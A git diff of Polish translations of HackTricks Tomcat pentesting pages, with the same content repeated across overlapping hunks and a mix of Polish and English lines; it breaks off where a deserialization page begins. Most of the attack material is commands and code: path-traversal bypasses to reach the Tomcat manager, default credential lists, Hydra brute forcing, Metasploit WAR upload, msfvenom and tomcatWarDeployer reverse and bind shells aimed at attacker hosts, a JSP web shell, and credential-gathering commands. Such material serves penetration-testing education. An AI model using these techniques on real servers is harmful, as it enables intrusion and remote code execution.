Podatność CVE-2007-1860 w `mod_jk` umożliwia podwójne kodowanie URL w celu przekraczania ścieżki, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie spreparowanego adresu URL.
|
||||
### **Double URL Encoding**
|
||||
|
||||
Aby uzyskać dostęp do interfejsu webowego zarządzania Tomcat, przejdź do: `pathTomcat/%252E%252E/manager/html`
|
||||
Wrażliwość CVE-2007-1860 w `mod_jk` pozwala na podwójne kodowanie URL, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie przygotowanego URL.
|
||||
|
||||
Aby uzyskać dostęp do interfejsu zarządzania Tomcat, przejdź do: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnianie informacji oraz ataki typu cross-site scripting (XSS). Te skrypty, wymienione wyczerpująco, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnienie informacji i ataki typu cross-site scripting (XSS). Te skrypty, wymienione w sposób kompleksowy, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnego wykorzystania. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -107,21 +114,21 @@ Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są p
|
|||
* /examples/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Eksploatacja przekraczania ścieżki**
|
||||
### **Path Traversal Exploit**
|
||||
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) można uzyskać dostęp do chronionych katalogów w Tomcat, używając ścieżki: `/..;/`
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) możesz uzyskać dostęp do chronionych katalogów w Tomcat, używając ścieżki: `/..;/`
|
||||
|
||||
Na przykład, można **uzyskać dostęp do strony zarządzania Tomcat** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
Na przykład, możesz być w stanie **uzyskać dostęp do strony menedżera Tomcat** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Innym sposobem** na obejście chronionych ścieżek za pomocą tego triku jest dostęp do `http://www.vulnerable.com/;param=value/manager/html`
|
||||
**Inny sposób** na obejście chronionych ścieżek za pomocą tego triku to dostęp do `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
Wreszcie, jeśli masz dostęp do Menedżera Aplikacji Webowej Tomcat, możesz **przesłać i wdrożyć plik .war (wykonać kod)**.
|
||||
Na koniec, jeśli masz dostęp do Menedżera Aplikacji Webowych Tomcat, możesz **przesłać i wdrożyć plik .war (wykonać kod)**.
|
||||
|
||||
### Ograniczenia
|
||||
### Limitations
|
||||
|
||||
Będziesz mógł wdrożyć plik WAR tylko jeśli masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Szczegóły te można znaleźć w pliku _tomcat-users.xml_, zazwyczaj zdefiniowanym w `/usr/share/tomcat9/etc/tomcat-users.xml` (różni się w zależności od wersji) (patrz [POST](tomcat.md#post) sekcja).
|
||||
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to się różni w zależności od wersji) (zobacz [POST ](tomcat.md#post)section).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -140,15 +147,15 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
### Odwrócony shell MSFVenom
|
||||
### MSFVenom Reverse Shell
|
||||
|
||||
1. Utwórz plik war do wdrożenia:
|
||||
1. Stwórz plik war do wdrożenia:
|
||||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
2. Prześlij plik `revshell.war` i uzyskaj do niego dostęp (`/revshell/`):
|
||||
|
||||
### Powiąż i odwróć powłokę za pomocą [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Bind i reverse shell z [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
W niektórych scenariuszach to nie działa (na przykład w starych wersjach sun)
|
||||
|
||||
|
@ -160,17 +167,17 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
|||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
#### Powłoka wiążąca
|
||||
#### Bind shell
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
### Korzystanie z [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
### Używanie [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
### Metoda manualna - Powłoka sieciowa
|
||||
### Manual method - Web shell
|
||||
|
||||
Utwórz plik **index.jsp** z tym [zawartością](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
Utwórz **index.jsp** z tym [contentem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
```java
|
||||
<FORM METHOD=GET ACTION='index.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
|
@ -201,11 +208,11 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Możesz także zainstalować to (umożliwia przesyłanie, pobieranie i wykonanie poleceń): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
Możesz również zainstalować to (umożliwia przesyłanie, pobieranie i wykonywanie poleceń): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Metoda ręczna 2
|
||||
### Manual Method 2
|
||||
|
||||
Pobierz powłokę sieciową JSP, taką jak [ta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR:
|
||||
Pobierz powłokę JSP, taką jak [ta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
@ -218,16 +225,16 @@ Nazwa pliku z danymi uwierzytelniającymi Tomcat to _tomcat-users.xml_
|
|||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
Inne sposoby pozyskiwania poświadczeń Tomcat:
|
||||
Inne sposoby na zebranie poświadczeń Tomcat:
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## Inne narzędzia do skanowania tomcata
|
||||
## Inne narzędzia skanowania tomcat
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
## Referencje
|
||||
## Odniesienia
|
||||
|
||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
@ -238,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Tomcat
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,10 +23,10 @@
|
|||
|
||||
***
|
||||
|
||||
## Odkrywanie
|
||||
## Odkrycie
|
||||
|
||||
* Zazwyczaj działa na **porcie 8080**
|
||||
* **Powszechny błąd Tomcat:**
|
||||
* Zwykle działa na **porcie 8080**
|
||||
* **Typowy błąd Tomcat:**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -35,19 +38,21 @@ Aby znaleźć wersję Apache Tomcat, można wykonać prostą komendę:
|
|||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
To będzie wyszukiwać termin "Tomcat" na stronie indeksu dokumentacji, ujawniając wersję w tagu tytułu odpowiedzi HTML.
|
||||
|
||||
### **Lokalizacja plików menedżera**
|
||||
|
||||
Identyfikacja dokładnych lokalizacji katalogów **`/manager`** i **`/host-manager`** jest kluczowa, ponieważ ich nazwy mogą być zmienione. Zaleca się przeprowadzenie ataku siłowego w celu zlokalizowania tych stron.
|
||||
Identyfikacja dokładnych lokalizacji katalogów **`/manager`** i **`/host-manager`** jest kluczowa, ponieważ ich nazwy mogą być zmienione. Zaleca się przeprowadzenie ataku brute-force w celu zlokalizowania tych stron.
|
||||
|
||||
### **Wyliczanie nazw użytkowników**
|
||||
### **Enumeracja nazw użytkowników**
|
||||
|
||||
Dla starszych wersji Tomcat'a, wcześniejszych niż 6, istnieje możliwość wyliczenia nazw użytkowników poprzez:
|
||||
Dla wersji Tomcat starszych niż 6, możliwe jest enumerowanie nazw użytkowników poprzez:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **Domyślne dane uwierzytelniające**
|
||||
### **Domyślne Poświadczenia**
|
||||
|
||||
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Ten katalog jest chroniony przez podstawową autentykację HTTP, a powszechne dane uwierzytelniające to:
|
||||
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Katalog ten jest chroniony podstawową autoryzacją HTTP, a powszechne poświadczenia to:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -56,33 +61,35 @@ Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia pr
|
|||
* tomcat:s3cr3t
|
||||
* admin:tomcat
|
||||
|
||||
Te dane uwierzytelniające można przetestować za pomocą:
|
||||
Te poświadczenia można przetestować za pomocą:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Kolejnym istotnym katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat oraz systemu operacyjnego, ułatwiając identyfikację podatności.
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, co pomaga w identyfikacji luk w zabezpieczeniach.
|
||||
|
||||
### **Atak siłowy**
|
||||
### **Atak Brute Force**
|
||||
|
||||
Aby przeprowadzić atak siłowy na katalog managera, można użyć:
|
||||
Aby spróbować przeprowadzić atak brute force na katalogu menedżera, można użyć:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
## Powszechne podatności
|
||||
Along with setting various parameters in Metasploit to target a specific host.
|
||||
|
||||
### **Ujawnienie śladu hasła**
|
||||
## Common Vulnerabilities
|
||||
|
||||
Dostęp do `/auth.jsp` może ujawnić hasło w śladzie w szczęśliwych okolicznościach.
|
||||
### **Password Backtrace Disclosure**
|
||||
|
||||
### **Podwójne kodowanie adresów URL**
|
||||
Dostęp do `/auth.jsp` może ujawnić hasło w backtrace w sprzyjających okolicznościach.
|
||||
|
||||
Podatność CVE-2007-1860 w `mod_jk` umożliwia podwójne kodowanie adresów URL w celu przekraczania ścieżki, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie spreparowanego adresu URL.
|
||||
### **Double URL Encoding**
|
||||
|
||||
Wrażliwość CVE-2007-1860 w `mod_jk` pozwala na podwójne kodowanie URL w celu przejścia przez ścieżkę, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie przygotowanego URL.
|
||||
|
||||
Aby uzyskać dostęp do interfejsu zarządzania Tomcat, przejdź do: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty podatne na ujawnianie informacji oraz ataki typu cross-site scripting (XSS). Te skrypty, wymienione wyczerpująco, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnienie informacji i ataki typu cross-site scripting (XSS). Te skrypty, wymienione w sposób kompleksowy, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -107,21 +114,21 @@ Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty podatne na uj
|
|||
* /examples/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Eksploatacja przesunięcia ścieżki**
|
||||
### **Path Traversal Exploit**
|
||||
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) można uzyskać dostęp do chronionych katalogów w Tomcat, używając ścieżki: `/..;/`
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) możesz uzyskać dostęp do chronionych katalogów w Tomcat, używając ścieżki: `/..;/`
|
||||
|
||||
Na przykład, można **uzyskać dostęp do strony zarządzania Tomcat** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
Na przykład, możesz być w stanie **uzyskać dostęp do strony menedżera Tomcat** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Innym sposobem** na obejście chronionych ścieżek za pomocą tego triku jest dostęp do `http://www.vulnerable.com/;param=value/manager/html`
|
||||
**Inny sposób** na obejście chronionych ścieżek za pomocą tego triku to dostęp do `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
Wreszcie, jeśli masz dostęp do Menedżera Aplikacji Sieci Web Tomcat, możesz **przesłać i wdrożyć plik .war (wykonać kod)**.
|
||||
Na koniec, jeśli masz dostęp do Menedżera Aplikacji Webowych Tomcat, możesz **przesłać i wdrożyć plik .war (wykonać kod)**.
|
||||
|
||||
### Ograniczenia
|
||||
### Limitations
|
||||
|
||||
Będziesz mógł wdrożyć plik WAR tylko jeśli masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Szczegóły te można znaleźć w pliku _tomcat-users.xml_, zazwyczaj zdefiniowanym w `/usr/share/tomcat9/etc/tomcat-users.xml` (różni się w zależności od wersji) (patrz [POST ](./#post)section).
|
||||
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to różni się w zależności od wersji) (zobacz sekcję [POST](./#post)).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -140,15 +147,15 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
### Odwrócony Shell MSFVenom
|
||||
### MSFVenom Reverse Shell
|
||||
|
||||
1. Utwórz plik war do wdrożenia:
|
||||
1. Stwórz plik war do wdrożenia:
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
2. Prześlij plik `revshell.war` i uzyskaj do niego dostęp (`/revshell/`):
|
||||
|
||||
### Powiąż i odwróć powłokę za pomocą [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Bind i reverse shell z [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
W niektórych scenariuszach to nie działa (na przykład w starych wersjach sun)
|
||||
|
||||
|
@ -156,21 +163,21 @@ W niektórych scenariuszach to nie działa (na przykład w starych wersjach sun)
|
|||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
#### Odwrócony shell
|
||||
#### Odwrócona powłoka
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
#### Powłoka powiązana
|
||||
#### Bind shell
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
### Korzystanie z [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
### Używanie [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
### Metoda manualna - Powłoka sieciowa
|
||||
### Ręczna metoda - Web shell
|
||||
|
||||
Utwórz plik **index.jsp** z tym [zawartością](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
Utwórz **index.jsp** z tym [kontentem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
```java
|
||||
<FORM METHOD=GET ACTION='index.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
|
@ -201,11 +208,11 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Możesz także zainstalować to (umożliwia przesyłanie, pobieranie i wykonanie poleceń): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
Możesz również zainstalować to (umożliwia przesyłanie, pobieranie i wykonywanie poleceń): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Metoda ręczna 2
|
||||
### Ręczna metoda 2
|
||||
|
||||
Pobierz powłokę sieciową JSP, taką jak [ta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR:
|
||||
Pobierz powłokę JSP, taką jak [ta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
@ -218,16 +225,16 @@ Nazwa pliku z danymi uwierzytelniającymi Tomcat to _tomcat-users.xml_
|
|||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
Inne sposoby pozyskiwania poświadczeń Tomcat:
|
||||
Inne sposoby na zebranie poświadczeń Tomcat:
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## Inne narzędzia do skanowania tomcat
|
||||
## Inne narzędzia skanowania tomcat
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
|
||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
@ -238,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
# Deserializacja
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
